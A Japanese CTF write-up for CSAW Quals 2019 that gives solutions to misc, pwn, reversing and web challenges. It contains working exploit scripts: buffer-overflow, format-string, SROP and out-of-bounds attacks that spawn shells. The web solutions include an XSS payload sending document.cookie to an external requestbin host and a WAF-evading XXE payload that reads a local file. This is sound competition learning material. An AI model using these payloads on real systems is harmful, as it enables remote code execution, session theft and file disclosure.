Csaw2019 writeup

Misc

mcgriddlev2

  • 問題文にFLAGが記載されている
  • flag{W3lcome_7o_CSAW_QUALS_2019!}

Pwn

baby_boi (50pt)

  • シンプルなBOFでIPが奪える問題
  • libcのアドレスを出力してくれているので、配布されたlibcでオフセット求めてOne-Gadget に飛ばしてシェルを奪う

    #!/usr/bin/env ruby
    # coding: ascii-8bit
    require 'pwn'
    $z = Sock.new "localhost", 8888
    $z = Sock.new "pwn.chal.csaw.io", 1005
    libc = ELF.new "./libc-2.27.so"
    #libc = ELF.new "/lib/x86_64-linux-gnu/libc-2.29.so"
    def z; $z; end
    z.recvuntil("\n")
    libc_printf = z.recvuntil("\n").match(/: (.+)/)[1].to_i(16)
    libc_base = libc_printf - libc.symbols["printf"]
    puts "%x" % libc_base
    payload  = "A" * 40
    payload << p64(libc_base + 0x4f322)
    z.sendline(payload)
    z.interact
  • flag{baby_boi_dodooo_doo_doo_dooo}

GOT Milk? (50pt)

  • 独自の共有オブジェクトとバイナリが配られる
  • set LD_LIBRARY_PATH ./ でカレントディレクトリの共有オブジェクトを見るようにする
  • FSBがあるので、それを使ってGOT Overwriteする

    #!/usr/bin/env ruby
    # coding: ascii-8bit
    require 'pwn'
    require 'fsa'
    #$z = Sock.new "localhost", 8888
    $z = Sock.new "pwn.chal.csaw.io", 1004
    def z; $z; end
    value = 0x89
    fmt = FSA.new()
    fmt[0x804a010] = value
    payload = fmt.payload(7) # index of argument
    puts z.recvuntil("? ")
    z.sendline(payload)
    puts z.recv
  • flag{y0u_g00000t_mi1k_4_M3!?}

small_boi (100pt)

  • statically linked でstrippedな小さなバイナリが与えられる
  • sig_return システムコールを呼ぶようなraxの設定のされ方があるのと自明なBOFがあるので、Sigreturn ROP (SROP) で execve("/bin/sh", 0, 0) を実行する

    • SROPは、スタックの値を使ってsig_return実行時にレジスタの値を代入する攻撃
    • これを使ってrdiやrsi、ripなどが設定できるため任意のシステムコールを呼べる

      #!/usr/bin/env ruby
      # coding: ascii-8bit
      require 'pwn'
      #$z = Sock.new "localhost", 8888
      $z = Sock.new "pwn.chal.csaw.io", 1002
      def z; $z; end
      payload = "\x00" * 0x28
      payload << p64(0x40017c)
      payload << p64(0x0) * 4
      payload << p64(0x0) * 8 # r8~r15
      payload << p64(0x4001ca) # rdi = /bin/sh
      payload << p64(0) # rsi
      payload << p64(0) # rbp
      payload << p64(0) # 
      payload << p64(0) # 
      payload << p64(0x3b) # rax = 0x3b 
      payload << p64(0) # rcx
      payload << p64(0)   # rsp
      payload << p64(0x00400185) # rip = syscall
      payload << p64(0x0) # eflags
      payload << p16(0x33) # cs
      payload << p16(0)
      payload << p16(0)
      payload << p16(0x2b) # ss
      payload << p64(0x0) * 5 # err ~ union
      payload << p64(0x0) * 8 # reserved[8]
      z.sendline payload
      z.interact
  • flag{sigrop_pop_pop_pop}

traveller

  • 解けなかったのでwriteupを見た
  • Off-by-oneがあるためHeap問題かと思ったら操作対象のインデックスの入力に負数が入力できるOOB問題
  • 編集コマンドで、-50 をするとfree@gotを書き換えられたのでこれを使ってcat_flag関数に飛ばす

    #!/usr/bin/env ruby
    # coding: ascii-8bit
    require 'pwn'
    $z = Sock.new "pwn.chal.csaw.io", 1003
    #elf = ELF.new "./traveller"
    #libc = ELF.new "./libc-2.23.so"
    context.log_level = :debug
    def z; $z; end
    def add(dist, dest)
    z.sendline "1"
    z.recvuntil "> "
    z.sendline dist.to_s
    z.recvuntil ": "
    z.sendline dest
    z.recvuntil "> "
    end
    def change(dist, dest)
    z.sendline "2"
    z.recvuntil ": "
    z.sendline dist.to_s
    z.send dest
    z.recvuntil "> "
    end
    def delete(dist)
    z.sendline "3"
    z.recvuntil ": "
    z.sendline dist.to_s
    z.recvuntil "> "
    end
    def check(dist)
    z.sendline "4"
    z.recvuntil ">"
    z.sendline dist.to_s
    return z.recvuntil "> "
    end
    tmp = z.recvuntil "> "
    stack_address = tmp.match(/.\n(.*) \n\n/)[1].to_i(16)
    add(1, "AAAAAAAA")
    change(-50, p64(0x4008b6))
    puts delete(0)
  • flag{h0pe_y0u_3nj0y_ur_j0urn3y}

Rev

Beleaf

  • バイナリ中にFLAGに使われる文字列とインデックスの配列があるので、それを引っこ抜いてきて実行する
#!/usr/bin/env ruby

idxs = [0x1, 0x9, 0x11, 0x27, 0x02, 0x00, 0x12, 0x03, 0x8, 0x12, 0x9, 0x12, 0x11, 0x1, 0x3, 0x13, 0x4, 0x3, 0x5, 0x15, 0x2e, 0xa, 0x3, 0xa, 0x12, 0x3, 0x1, 0x2e, 0x16, 0x2e, 0xa, 0x12, 0x6]

flag = [0x77, 0x66, 0x7b, 0x5f, 0x6e, 0x79, 0x7d, 0x20, 0x62, 0x6c, 0x72, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x61, 0x65, 0x69, 0x20, 0x6f, 0x74, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x67, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x75].map(&:chr)

idxs.each do |i|
  print flag[i]
end
  • flag{we_beleaf_in_your_re_future}

Web

baby csp

  • CSPが有効なXSS問題
    • default-src 'self'; script-src 'self' *.google.com; connect-src *
  • 上記のCSPからJSONPエンドポイントでのXSSを使う
  • FLAGは、Cookieにあるので、requestbin を使ってPOSTさせるJavaScriptを埋め込む
  • <script src="https://accounts.google.com/o/oauth2/revoke?callback=navigator.sendBeacon('http://requestbin.net/r/ugix54ug', document.cookie)"></script>
  • flag{csp_will_solve_EVERYTHING}

unagi

  • 解けなかったのでwriteupを見た
  • XMLがアップロードできるので、XXEだとわかるが、WAFがありいくつかのキーワード(ENTITYやSYSTEMなど)が使えない
    • PUBLIC は使えたりした
  • 結論としては、UTF-8ではなくUTF-16BEでアップロードすればWAFをBypassできるというものだった
    • 試してたが、普通にXXEとしてうまくないファイルだったためこの方針を諦めてしまっていたのが解けない原因っぽい
  • cat x.xml | iconv -f UTF-8 -t UTF-16BE > x_utf-16.xml などで作成してアップロードする xml <?xml version="1.0"?> <!DOCTYPE root[ <!ENTITY pass SYSTEM "file:///flag.txt"> ]> <users> <user> <username>alice2</username> <password>passwd1</password> <name>Alice2</name> <email>alice2@fakesite.com</email> <group>CSAW2019</group> <intro>&pass;</intro> </user> </users>
  • flag{n0w_i’m_s@d_cuz_y0u_g3t_th3_fl4g_but_c0ngr4ts}